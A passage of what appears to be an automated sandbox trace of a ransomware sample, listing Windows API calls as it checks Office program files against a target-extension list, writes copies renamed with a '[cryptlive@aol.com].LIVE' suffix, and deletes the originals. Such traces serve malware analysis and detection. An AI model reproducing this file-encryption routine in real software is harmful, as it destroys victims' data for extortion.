returned 4 [0149.445] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.445] lstrlenW (lpString=".docx") returned 5 [0149.445] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0149.445] lstrlenW (lpString=".pdf") returned 4 [0149.445] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.445] lstrlenW (lpString=".xls") returned 4 [0149.445] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.445] lstrlenW (lpString=".xlsx") returned 5 [0149.445] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0149.445] lstrlenW (lpString=".ppt") returned 4 [0149.445] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0149.445] lstrlenW (lpString=".zip") returned 4 [0149.445] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.445] lstrlenW (lpString=".rar") returned 4 [0149.445] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.445] lstrlenW (lpString=".bz2") returned 4 [0149.445] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.445] lstrlenW (lpString=".7z") returned 3 [0149.445] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0149.446] lstrlenW (lpString=".dbf") returned 4 [0149.446] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0149.446] lstrlenW (lpString=".1cd") returned 4 [0149.446] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0149.446] lstrlenW (lpString=".jpg") returned 4 [0149.446] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0149.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0149.446] lstrlenW (lpString=".doc") returned 4 [0149.446] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.446] lstrlenW (lpString=".docx") returned 5 [0149.446] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0149.446] lstrlenW (lpString=".pdf") returned 4 [0149.446] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.446] lstrlenW (lpString=".xls") returned 4 [0149.446] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.446] lstrlenW (lpString=".xlsx") returned 5 [0149.446] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0149.446] lstrlenW (lpString=".ppt") returned 4 [0149.446] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0149.446] lstrlenW (lpString=".zip") returned 4 [0149.446] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.446] lstrlenW (lpString=".rar") returned 4 [0149.446] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.446] lstrlenW (lpString=".bz2") returned 4 [0149.446] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.446] lstrlenW (lpString=".7z") returned 3 [0149.446] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0149.446] lstrlenW (lpString=".dbf") returned 4 [0149.446] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0149.446] lstrlenW (lpString=".1cd") returned 4 [0149.447] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0149.447] lstrlenW (lpString=".jpg") returned 4 [0149.447] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.447] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.447] lstrlenW (lpString="ACCDDSF.DLL") returned 11 [0149.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.743] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=579488) returned 1 [0149.743] CloseHandle (hObject=0x3b0) returned 1 [0149.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll")) returned 0x20 [0149.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0149.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0149.770] lstrlenW (lpString=".doc") returned 4 [0149.771] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.771] lstrlenW (lpString=".docx") returned 5 [0149.771] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0149.771] lstrlenW (lpString=".pdf") returned 4 [0149.771] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.771] lstrlenW (lpString=".xls") returned 4 [0149.771] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.771] lstrlenW (lpString=".xlsx") returned 5 [0149.771] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0149.771] lstrlenW (lpString=".ppt") returned 4 [0149.771] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0149.771] lstrlenW (lpString=".zip") returned 4 [0149.771] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.771] lstrlenW (lpString=".rar") returned 4 [0149.771] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.771] lstrlenW (lpString=".bz2") returned 4 [0149.771] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.771] lstrlenW (lpString=".7z") returned 3 [0149.771] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0149.771] lstrlenW (lpString=".dbf") returned 4 [0149.771] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0149.771] lstrlenW (lpString=".1cd") returned 4 [0149.771] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0149.771] lstrlenW (lpString=".jpg") returned 4 [0149.772] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0149.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0149.772] lstrlenW (lpString=".doc") returned 4 [0149.772] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.772] lstrlenW (lpString=".docx") returned 5 [0149.772] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0149.772] lstrlenW (lpString=".pdf") returned 4 [0149.772] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.772] lstrlenW (lpString=".xls") returned 4 [0149.772] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.772] lstrlenW (lpString=".xlsx") returned 5 [0149.772] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0149.772] lstrlenW (lpString=".ppt") returned 4 [0149.772] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0149.772] lstrlenW (lpString=".zip") returned 4 [0149.772] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.772] lstrlenW (lpString=".rar") returned 4 [0149.772] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.772] lstrlenW (lpString=".bz2") returned 4 [0149.772] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.772] lstrlenW (lpString=".7z") returned 3 [0149.772] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0149.772] lstrlenW (lpString=".dbf") returned 4 [0149.772] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0149.773] lstrlenW (lpString=".1cd") returned 4 [0149.773] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0149.773] lstrlenW (lpString=".jpg") returned 4 [0149.773] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.773] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0149.773] lstrlenW (lpString="otkloadr_x64.dll") returned 16 [0149.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.774] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=152392) returned 1 [0149.774] CloseHandle (hObject=0x3a8) returned 1 [0149.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll")) returned 0x20 [0149.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0149.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0149.774] lstrlenW (lpString=".doc") returned 4 [0149.774] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.775] lstrlenW (lpString=".docx") returned 5 [0149.775] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0149.775] lstrlenW (lpString=".pdf") returned 4 [0149.775] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.775] lstrlenW (lpString=".xls") returned 4 [0149.775] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.775] lstrlenW (lpString=".xlsx") returned 5 [0149.775] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0149.775] lstrlenW (lpString=".ppt") returned 4 [0149.775] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0149.775] lstrlenW (lpString=".zip") returned 4 [0149.775] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.775] lstrlenW (lpString=".rar") returned 4 [0149.775] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.775] lstrlenW (lpString=".bz2") returned 4 [0149.775] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.775] lstrlenW (lpString=".7z") returned 3 [0149.775] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0149.775] lstrlenW (lpString=".dbf") returned 4 [0149.775] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0149.775] lstrlenW (lpString=".1cd") returned 4 [0149.775] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0149.775] lstrlenW (lpString=".jpg") returned 4 [0149.775] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0149.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0149.776] lstrlenW (lpString=".doc") returned 4 [0149.776] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.776] lstrlenW (lpString=".docx") returned 5 [0149.776] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0149.776] lstrlenW (lpString=".pdf") returned 4 [0149.776] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.776] lstrlenW (lpString=".xls") returned 4 [0149.776] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.776] lstrlenW (lpString=".xlsx") returned 5 [0149.776] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0149.776] lstrlenW (lpString=".ppt") returned 4 [0149.776] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0149.776] lstrlenW (lpString=".zip") returned 4 [0149.776] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.776] lstrlenW (lpString=".rar") returned 4 [0149.776] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.776] lstrlenW (lpString=".bz2") returned 4 [0149.776] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.776] lstrlenW (lpString=".7z") returned 3 [0149.776] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0149.776] lstrlenW (lpString=".dbf") returned 4 [0149.776] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0149.777] lstrlenW (lpString=".1cd") returned 4 [0149.777] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0149.777] lstrlenW (lpString=".jpg") returned 4 [0149.777] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.777] lstrcmpiW (lpString1=".ECF", lpString2=".LIVE") returned -1 [0149.777] lstrlenW (lpString="OUTEX.ECF") returned 9 [0149.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.782] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1926) returned 1 [0149.782] CloseHandle (hObject=0x3b4) returned 1 [0149.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf")) returned 0x20 [0149.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.828] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.828] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.829] GetLastError () returned 0x0 [0149.829] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x786, lpOverlapped=0x0) returned 1 [0149.838] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x790, lpOverlapped=0x0) returned 1 [0149.839] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.839] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0149.839] SetEndOfFile (hFile=0x3a8) returned 1 [0149.840] CloseHandle (hObject=0x3a8) returned 1 [0149.840] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.840] SetEndOfFile (hFile=0x3b0) returned 1 [0149.842] CloseHandle (hObject=0x3b0) returned 1 [0149.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf")) returned 1 [0149.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0149.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0149.852] lstrlenW (lpString=".doc") returned 4 [0149.852] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0149.852] lstrlenW (lpString=".docx") returned 5 [0149.852] lstrcmpiW (lpString1=".docx", lpString2="X.ECF") returned -1 [0149.852] lstrlenW (lpString=".pdf") returned 4 [0149.852] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0149.852] lstrlenW (lpString=".xls") returned 4 [0149.852] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0149.852] lstrlenW (lpString=".xlsx") returned 5 [0149.852] lstrcmpiW (lpString1=".xlsx", lpString2="X.ECF") returned -1 [0149.852] lstrlenW (lpString=".ppt") returned 4 [0149.852] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0149.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0149.852] lstrlenW (lpString=".zip") returned 4 [0149.852] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0149.852] lstrlenW (lpString=".rar") returned 4 [0149.853] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0149.853] lstrlenW (lpString=".bz2") returned 4 [0149.853] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0149.853] lstrlenW (lpString=".7z") returned 3 [0149.853] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0149.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0149.853] lstrlenW (lpString=".dbf") returned 4 [0149.853] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0149.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0149.853] lstrlenW (lpString=".1cd") returned 4 [0149.853] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0149.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0149.853] lstrlenW (lpString=".jpg") returned 4 [0149.853] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0149.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0149.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0149.853] lstrlenW (lpString=".doc") returned 4 [0149.853] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0149.853] lstrlenW (lpString=".docx") returned 5 [0149.853] lstrcmpiW (lpString1=".docx", lpString2="X.ECF") returned -1 [0149.853] lstrlenW (lpString=".pdf") returned 4 [0149.853] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0149.853] lstrlenW (lpString=".xls") returned 4 [0149.853] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0149.853] lstrlenW (lpString=".xlsx") returned 5 [0149.853] lstrcmpiW (lpString1=".xlsx", lpString2="X.ECF") returned -1 [0149.853] lstrlenW (lpString=".ppt") returned 4 [0149.853] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0149.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0149.853] lstrlenW (lpString=".zip") returned 4 [0149.853] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0149.853] lstrlenW (lpString=".rar") returned 4 [0149.853] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0149.853] lstrlenW (lpString=".bz2") returned 4 [0149.853] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0149.854] lstrlenW (lpString=".7z") returned 3 [0149.854] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0149.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0149.854] lstrlenW (lpString=".dbf") returned 4 [0149.854] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0149.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0149.854] lstrlenW (lpString=".1cd") returned 4 [0149.854] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0149.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0149.854] lstrlenW (lpString=".jpg") returned 4 [0149.854] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0149.854] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.854] lstrlenW (lpString="AUDIOSEARCHLTS.DLL") returned 18 [0149.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.855] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=142776) returned 1 [0149.855] CloseHandle (hObject=0x380) returned 1 [0149.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll")) returned 0x20 [0149.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0149.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0149.855] lstrlenW (lpString=".doc") returned 4 [0149.855] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.855] lstrlenW (lpString=".docx") returned 5 [0149.855] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0149.855] lstrlenW (lpString=".pdf") returned 4 [0149.855] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.855] lstrlenW (lpString=".xls") returned 4 [0149.855] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.855] lstrlenW (lpString=".xlsx") returned 5 [0149.855] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0149.855] lstrlenW (lpString=".ppt") returned 4 [0149.855] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0149.855] lstrlenW 